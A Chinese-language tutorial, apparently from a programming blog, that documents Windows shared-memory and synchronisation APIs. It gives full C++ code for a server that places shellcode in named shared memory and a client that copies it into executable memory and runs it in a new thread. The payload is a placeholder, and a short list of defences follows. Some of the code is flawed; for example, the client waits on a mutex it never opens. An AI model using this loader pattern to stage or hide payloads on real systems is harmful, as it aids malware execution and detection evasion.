C++通過共享內(nèi)存ShellCode實(shí)現(xiàn)跨進(jìn)程傳輸
在計(jì)算機(jī)安全領(lǐng)域,ShellCode是一段用于利用系統(tǒng)漏洞或執(zhí)行特定任務(wù)的機(jī)器碼。為了增加攻擊的難度,研究人員經(jīng)常探索新的傳遞ShellCode的方式。本文介紹了一種使用共享內(nèi)存的方法,通過該方法,兩個本地進(jìn)程可以相互傳遞ShellCode,從而實(shí)現(xiàn)一種巧妙的本地傳輸手段。如果你問我為何在本地了還得這樣傳,那我只能說在某些時候我們可能會將ShellCode打散,而作為客戶端也不需要時時刻刻在本地存放ShellCode代碼,這能保證客戶端的安全性。
服務(wù)端部分
CreateFileMapping
用于創(chuàng)建一個文件映射對象,將文件或者其他內(nèi)核對象映射到進(jìn)程的地址空間。這個函數(shù)通常用于共享內(nèi)存的創(chuàng)建。
下面是 CreateFileMapping 函數(shù)的基本語法:
HANDLE CreateFileMapping( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCTSTR lpName );
參數(shù)說明:
hFile: 文件句柄,可以是一個磁盤文件或者其他內(nèi)核對象的句柄。如果是INVALID_HANDLE_VALUE,則表示創(chuàng)建一個只在內(nèi)存中的映射,而不與文件關(guān)聯(lián)。lpFileMappingAttributes: 安全屬性,一般為NULL,表示使用默認(rèn)的安全設(shè)置。flProtect: 內(nèi)存保護(hù)選項(xiàng),指定內(nèi)存頁的保護(hù)屬性,例如讀、寫、執(zhí)行等。常見的值有PAGE_READONLY、PAGE_READWRITE、PAGE_EXECUTE_READ等。dwMaximumSizeHigh和dwMaximumSizeLow: 指定文件映射對象的最大大小。如果映射的是一個文件,可以通過這兩個參數(shù)指定文件映射的大小。lpName: 文件映射對象的名字,如果是通過共享內(nèi)存進(jìn)行跨進(jìn)程通信,可以通過這個名字在不同的進(jìn)程中打開同一個文件映射對象。
成功調(diào)用 CreateFileMapping 會返回一個文件映射對象的句柄,失敗則返回 NULL。通常創(chuàng)建成功后,可以通過 MapViewOfFile 函數(shù)將文件映射對象映射到當(dāng)前進(jìn)程的地址空間中,進(jìn)行讀寫操作。
MapViewOfFile
用于將一個文件映射對象映射到調(diào)用進(jìn)程的地址空間中,使得進(jìn)程可以直接操作映射區(qū)域的內(nèi)容。
以下是 MapViewOfFile 函數(shù)的基本語法:
LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
參數(shù)說明:
hFileMappingObject: 文件映射對象的句柄,這個句柄通常是通過CreateFileMapping函數(shù)創(chuàng)建得到的。dwDesiredAccess: 映射區(qū)域的訪問權(quán)限,常見的值有FILE_MAP_READ、FILE_MAP_WRITE、FILE_MAP_EXECUTE。dwFileOffsetHigh和dwFileOffsetLow: 文件映射的起始位置。在這里,通常指定為0,表示從文件的開頭開始映射。dwNumberOfBytesToMap: 指定映射的字節(jié)數(shù),通常可以設(shè)置為 0 表示映射整個文件。
成功調(diào)用 MapViewOfFile 會返回映射視圖的起始地址,失敗則返回 NULL。映射成功后,可以直接通過返回的地址進(jìn)行讀寫操作。當(dāng)不再需要映射時,應(yīng)該通過 UnmapViewOfFile 函數(shù)解除映射。
CreateMutex
用于創(chuàng)建一個互斥體對象?;コ怏w(Mutex)是一種同步對象,用于確保在多線程或多進(jìn)程環(huán)境中對資源的互斥訪問,防止多個線程或進(jìn)程同時訪問共享資源,以避免數(shù)據(jù)競爭和沖突。
以下是 CreateMutex 函數(shù)的基本語法:
HANDLE CreateMutex( LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCTSTR lpName );
參數(shù)說明:
lpMutexAttributes: 一個指向SECURITY_ATTRIBUTES結(jié)構(gòu)的指針,決定了互斥體的安全性。通??梢栽O(shè)為NULL,表示使用默認(rèn)的安全描述符。bInitialOwner: 一個布爾值,指定互斥體的初始狀態(tài)。如果設(shè)置為TRUE,表示創(chuàng)建互斥體時已經(jīng)擁有它,這通常用于創(chuàng)建一個已經(jīng)鎖定的互斥體。如果設(shè)置為FALSE,則表示創(chuàng)建互斥體時未擁有它。lpName: 一個指向包含互斥體名稱的空終止字符串的指針。如果為NULL,則創(chuàng)建一個匿名的互斥體;否則,創(chuàng)建一個具有指定名稱的互斥體。通過指定相同的名稱,可以在多個進(jìn)程中共享互斥體。
成功調(diào)用 CreateMutex 會返回互斥體對象的句柄,失敗則返回 NULL。在使用完互斥體后,應(yīng)該通過 CloseHandle 函數(shù)關(guān)閉句柄以釋放資源。
CreateEvent
用于創(chuàng)建一個事件對象。事件對象是一種同步對象,用于實(shí)現(xiàn)多線程或多進(jìn)程之間的通信和同步。通過事件對象,可以使一個或多個線程等待某個事件的發(fā)生,從而協(xié)調(diào)它們的執(zhí)行。
以下是 CreateEvent 函數(shù)的基本語法:
HANDLE CreateEvent( LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCTSTR lpName );
參數(shù)說明:
lpEventAttributes: 一個指向SECURITY_ATTRIBUTES結(jié)構(gòu)的指針,決定了事件對象的安全性。通??梢栽O(shè)為NULL,表示使用默認(rèn)的安全描述符。bManualReset: 一個布爾值,指定事件對象的復(fù)位類型。如果設(shè)置為TRUE,則為手動復(fù)位;如果設(shè)置為FALSE,則為自動復(fù)位。手動復(fù)位的事件需要通過ResetEvent函數(shù)手動將其重置為非觸發(fā)狀態(tài),而自動復(fù)位的事件會在一個等待線程被釋放后自動復(fù)位為非觸發(fā)狀態(tài)。bInitialState: 一個布爾值,指定事件對象的初始狀態(tài)。如果設(shè)置為TRUE,表示創(chuàng)建事件對象時已經(jīng)處于觸發(fā)狀態(tài);如果設(shè)置為FALSE,則表示創(chuàng)建事件對象時處于非觸發(fā)狀態(tài)。lpName: 一個指向包含事件對象名稱的空終止字符串的指針。如果為NULL,則創(chuàng)建一個匿名的事件對象;否則,創(chuàng)建一個具有指定名稱的事件對象。通過指定相同的名稱,可以在多個進(jìn)程中共享事件對象。
成功調(diào)用 CreateEvent 會返回事件對象的句柄,失敗則返回 NULL。在使用完事件對象后,應(yīng)該通過 CloseHandle 函數(shù)關(guān)閉句柄以釋放資源。
WaitForSingleObject
用于等待一個或多個內(nèi)核對象的狀態(tài)變?yōu)?signaled。內(nèi)核對象可以是事件、互斥體、信號量等等。
以下是 WaitForSingleObject 函數(shù)的基本語法:
DWORD WaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds );
參數(shù)說明:
hHandle: 要等待的內(nèi)核對象的句柄??梢允鞘录?、互斥體、信號量等。dwMilliseconds: 等待的時間,以毫秒為單位。如果設(shè)為INFINITE,表示無限等待,直到內(nèi)核對象變?yōu)?signaled。
WaitForSingleObject 返回一個 DWORD 類型的值,表示等待的結(jié)果??赡艿姆祷刂蛋ǎ?/p>
WAIT_OBJECT_0:內(nèi)核對象已經(jīng)變?yōu)?signaled 狀態(tài)。WAIT_TIMEOUT:等待時間已過,但內(nèi)核對象仍然沒有變?yōu)?signaled 狀態(tài)。WAIT_FAILED:等待出錯,可以通過調(diào)用GetLastError獲取詳細(xì)錯誤信息。
這個函數(shù)是同步函數(shù),調(diào)用它的線程會阻塞,直到等待的對象變?yōu)?signaled 狀態(tài)或者等待時間超時。
ReleaseMutex
用于釋放之前由 WaitForSingleObject 或 WaitForMultipleObjects 等函數(shù)獲取的互斥體對象的所有權(quán)。
以下是 ReleaseMutex 函數(shù)的基本語法:
BOOL ReleaseMutex( HANDLE hMutex );
參數(shù)說明:
hMutex: 要釋放的互斥體對象的句柄。
ReleaseMutex 返回一個 BOOL 類型的值,表示釋放互斥體對象是否成功。如果函數(shù)成功,返回值為非零;如果函數(shù)失敗,返回值為零。可以通過調(diào)用 GetLastError 獲取詳細(xì)錯誤信息。
互斥體(Mutex)是一種同步對象,用于控制對共享資源的訪問。在多線程或者多進(jìn)程環(huán)境中,互斥體可以確保在同一時刻只有一個線程或者進(jìn)程能夠訪問被保護(hù)的共享資源。當(dāng)一個線程或者進(jìn)程成功獲取互斥體的所有權(quán)后,其他試圖獲取該互斥體所有權(quán)的線程或者進(jìn)程將會被阻塞,直到擁有互斥體的線程或者進(jìn)程調(diào)用 ReleaseMutex 釋放互斥體所有權(quán)。
SetEvent
用于將指定的事件對象的狀態(tài)設(shè)置為 signaled(有信號)。該函數(shù)通常與等待函數(shù)(如 WaitForSingleObject 或 WaitForMultipleObjects)一起使用,以實(shí)現(xiàn)線程之間或進(jìn)程之間的同步。
以下是 SetEvent 函數(shù)的基本語法:
BOOL SetEvent( HANDLE hEvent );
參數(shù)說明:
hEvent: 事件對象的句柄。
SetEvent 函數(shù)返回一個 BOOL 類型的值,表示設(shè)置事件對象狀態(tài)是否成功。如果函數(shù)成功,返回值為非零;如果函數(shù)失敗,返回值為零。可以通過調(diào)用 GetLastError 獲取詳細(xì)錯誤信息。
事件對象是一種同步對象,用于在線程或者進(jìn)程之間發(fā)信號。通過 SetEvent 可以將事件對象的狀態(tài)設(shè)置為 signaled,表示某個條件已經(jīng)滿足,其他等待該事件對象的線程或者進(jìn)程可以繼續(xù)執(zhí)行。
有了上述API函數(shù)的支持,那么實(shí)現(xiàn)這個服務(wù)端將變得很容易,如下所示則是服務(wù)端完整代碼,通過創(chuàng)建一個共享內(nèi)存池,并等待用戶按下簡單,當(dāng)鍵盤被按下時則會自動填充緩沖區(qū)為特定內(nèi)容。
#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024
HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;
char ShellCode[] = "此處是ShellCode";
using namespace std;
int main(int argc,char *argv[])
{
// 創(chuàng)建共享文件句柄
HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");
if (shareFileHandle == NULL)
{
return 1;
}
//映射緩沖區(qū)視圖,得到指向共享內(nèi)存的指針
LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
if (lpBuf == NULL)
{
CloseHandle(shareFileHandle);
return 1;
}
// 創(chuàng)建互斥器
H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");
H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");
// 操作共享內(nèi)存
while (true)
{
getchar();
// 使用互斥體加鎖,獲得互斥器的擁有權(quán)
WaitForSingleObject(H_Mutex, INFINITE);
memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);
ReleaseMutex(H_Mutex); // 放鎖
SetEvent(H_Event); // 激活等待的進(jìn)程
}
CloseHandle(H_Mutex);
CloseHandle(H_Event);
UnmapViewOfFile(lpBuf);
CloseHandle(shareFileHandle);
return 0;
}
客戶端部分
OpenFileMapping
用于打開一個已存在的文件映射對象,以便將它映射到當(dāng)前進(jìn)程的地址空間。文件映射對象是一種用于在多個進(jìn)程間共享內(nèi)存數(shù)據(jù)的機(jī)制。
以下是 OpenFileMapping 函數(shù)的基本語法:
HANDLE OpenFileMapping( DWORD dwDesiredAccess, BOOL bInheritHandle, LPCTSTR lpName );
參數(shù)說明:
dwDesiredAccess: 指定對文件映射對象的訪問權(quán)限??梢允褂脴?biāo)準(zhǔn)的訪問權(quán)限標(biāo)志,如FILE_MAP_READ、FILE_MAP_WRITE等。bInheritHandle: 指定句柄是否可以被子進(jìn)程繼承。如果為TRUE,子進(jìn)程將繼承句柄;如果為FALSE,子進(jìn)程不繼承句柄。lpName: 指定文件映射對象的名稱。此名稱在系統(tǒng)內(nèi)必須是唯一的。如果是NULL,函數(shù)將打開一個不帶名稱的文件映射對象。
OpenFileMapping 函數(shù)返回一個文件映射對象的句柄。如果函數(shù)調(diào)用失敗,返回值為 NULL??梢酝ㄟ^調(diào)用 GetLastError 獲取詳細(xì)錯誤信息。
OpenEvent
用于打開一個已存在的命名事件對象。事件對象是一種同步對象,用于在多個進(jìn)程間進(jìn)行通信和同步。
以下是 OpenEvent 函數(shù)的基本語法:
HANDLE OpenEvent( DWORD dwDesiredAccess, BOOL bInheritHandle, LPCTSTR lpName );
參數(shù)說明:
dwDesiredAccess: 指定對事件對象的訪問權(quán)限。可以使用標(biāo)準(zhǔn)的訪問權(quán)限標(biāo)志,如EVENT_MODIFY_STATE、EVENT_QUERY_STATE等。bInheritHandle: 指定句柄是否可以被子進(jìn)程繼承。如果為TRUE,子進(jìn)程將繼承句柄;如果為FALSE,子進(jìn)程不繼承句柄。lpName: 指定事件對象的名稱。此名稱在系統(tǒng)內(nèi)必須是唯一的。如果是NULL,函數(shù)將打開一個不帶名稱的事件對象。
OpenEvent 函數(shù)返回一個事件對象的句柄。如果函數(shù)調(diào)用失敗,返回值為 NULL。可以通過調(diào)用 GetLastError 獲取詳細(xì)錯誤信息。
VirtualAlloc
用于在進(jìn)程的虛擬地址空間中分配一段內(nèi)存區(qū)域。這個函數(shù)通常用于動態(tài)分配內(nèi)存,而且可以選擇性地將其初始化為零。
以下是 VirtualAlloc 函數(shù)的基本語法:
LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
參數(shù)說明:
lpAddress: 指定欲分配內(nèi)存的首地址。如果為 NULL,系統(tǒng)將決定分配的地址。
dwSize: 指定欲分配內(nèi)存的大小,以字節(jié)為單位。
flAllocationType: 指定分配類型??梢允且韵鲁A恐唬?/p>
MEM_COMMIT:將內(nèi)存提交為物理存儲(RAM或磁盤交換文件)中的一頁或多頁。MEM_RESERVE:為欲保留的內(nèi)存保留地址空間而不分配任何物理存儲。MEM_RESET:將內(nèi)存區(qū)域的內(nèi)容初始化為零。必須與MEM_COMMIT一起使用。
flProtect: 指定內(nèi)存的訪問保護(hù)??梢允且韵鲁A恐唬?/p>
PAGE_EXECUTE_READ: 允許讀取并執(zhí)行訪問。PAGE_READWRITE: 允許讀寫訪問。
VirtualAlloc 函數(shù)返回一個指向分配的內(nèi)存區(qū)域的指針。如果函數(shù)調(diào)用失敗,返回值為 NULL??梢酝ㄟ^調(diào)用 GetLastError 獲取詳細(xì)錯誤信息。
CreateThread
用于創(chuàng)建一個新的線程。線程是執(zhí)行程序代碼的單一路徑,一個進(jìn)程可以包含多個線程,這些線程可以并發(fā)執(zhí)行。
以下是 CreateThread 函數(shù)的基本語法:
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
參數(shù)說明:
lpThreadAttributes: 用于設(shè)置線程的安全屬性,通常設(shè)置為NULL。dwStackSize: 指定線程堆棧的大小,可以設(shè)置為 0 使用默認(rèn)堆棧大小。lpStartAddress: 指定線程函數(shù)的地址,新線程將從此地址開始執(zhí)行。lpParameter: 傳遞給線程函數(shù)的參數(shù)。dwCreationFlags: 指定線程的創(chuàng)建標(biāo)志,通常設(shè)置為 0。lpThreadId: 接收新線程的標(biāo)識符。如果為NULL,則不接收線程標(biāo)識符。
CreateThread 函數(shù)返回一個新線程的句柄。如果函數(shù)調(diào)用失敗,返回值為 NULL??梢酝ㄟ^調(diào)用 GetLastError 獲取詳細(xì)錯誤信息。
客戶端同樣創(chuàng)建內(nèi)存映射,使用服務(wù)端創(chuàng)建的內(nèi)存池,并在里面取出ShellCode執(zhí)行后反彈,完整代碼如下所示;
#include <iostream>
#include <Windows.h>
#include <winbase.h>
using namespace std;
HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;
int main(int argc, char* argv[])
{
// 打開共享文件句柄
HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");
if (sharedFileHandle == NULL)
{
return 1;
}
// 映射緩存區(qū)視圖,得到指向共享內(nèi)存的指針
LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (lpBuf == NULL)
{
CloseHandle(sharedFileHandle);
return 1;
}
H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");
if (H_Event == NULL)
{
return 1;
}
char buffer[4096] = {0};
while (1)
{
HANDLE hThread;
// 互斥體接收數(shù)據(jù)并加鎖
WaitForSingleObject(H_Event, INFINITE);
WaitForSingleObject(H_Mutex, INFINITE); // 使用互斥體加鎖
memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1); // 接收數(shù)據(jù)到內(nèi)存
ReleaseMutex(H_Mutex); // 放鎖
cout << "接收到的ShellCode: " << buffer << endl;
// 注入ShellCode并執(zhí)行
void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ShellCode, buffer, sizeof(buffer));
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
CloseHandle(H_Event);
CloseHandle(H_Mutex);
UnmapViewOfFile(lpBuf);
CloseHandle(sharedFileHandle);
return 0;
}
潛在風(fēng)險和安全建議
雖然這種方法在本地攻擊場景中有一定的巧妙性,但也存在潛在的風(fēng)險。以下是一些建議:
- 防御共享內(nèi)存濫用: 操作系統(tǒng)提供了一些機(jī)制,如使用 ACL(訪問控制列表)和安全描述符,可以限制對共享內(nèi)存的訪問。合理配置這些機(jī)制可以減輕潛在的濫用風(fēng)險。
- 加強(qiáng)系統(tǒng)安全策略: 使用強(qiáng)密碼、及時更新系統(tǒng)和應(yīng)用程序、啟用防火墻等都是基礎(chǔ)的系統(tǒng)安全策略。這些都有助于防止?jié)撛诘腟hellcode攻擊。
- 監(jiān)控和響應(yīng): 部署實(shí)時監(jiān)控和響應(yīng)系統(tǒng),能夠及時檢測到異常行為并采取相應(yīng)措施,對于減緩潛在威脅的影響十分重要。
總結(jié)
本文介紹了通過共享內(nèi)存?zhèn)鬟fShellcode的方法,通過這種巧妙的本地攻擊方式,兩個進(jìn)程可以在不直接通信的情況下相互傳遞Shellcode。然而,使用這種技術(shù)需要非常謹(jǐn)慎,以免被濫用用于不當(dāng)用途。在實(shí)際應(yīng)用中,必須謹(jǐn)慎權(quán)衡安全性和便利性,同時配合其他防御措施,確保系統(tǒng)的整體安全性。
以上就是C++通過共享內(nèi)存ShellCode實(shí)現(xiàn)跨進(jìn)程傳輸?shù)脑敿?xì)內(nèi)容,更多關(guān)于C++ ShellCode跨進(jìn)程傳輸?shù)馁Y料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
C++實(shí)現(xiàn)簡單學(xué)生信息管理系統(tǒng)
這篇文章主要為大家詳細(xì)介紹了C++實(shí)現(xiàn)簡單學(xué)生信息管理系統(tǒng),文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下2022-03-03
C++實(shí)現(xiàn)統(tǒng)計(jì)代碼運(yùn)行時間計(jì)時器的簡單實(shí)例
這篇文章主要介紹了 C++實(shí)現(xiàn)統(tǒng)計(jì)代碼運(yùn)行時間計(jì)時器的簡單實(shí)例的相關(guān)資料,需要的朋友可以參考下2017-07-07
C/C++實(shí)現(xiàn)獲取硬盤序列號的示例代碼
獲取硬盤的序列號、型號和固件版本號,此類功能通常用于做硬盤綁定或硬件驗(yàn)證操作,下面我們就來學(xué)習(xí)一下如何使用C/C++實(shí)現(xiàn)獲取硬盤序列號吧2023-11-11
基于C語言實(shí)現(xiàn)簡單學(xué)生成績管理系統(tǒng)
這篇文章主要為大家詳細(xì)介紹了基于C語言實(shí)現(xiàn)簡單學(xué)生成績管理系統(tǒng),文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下2022-08-08

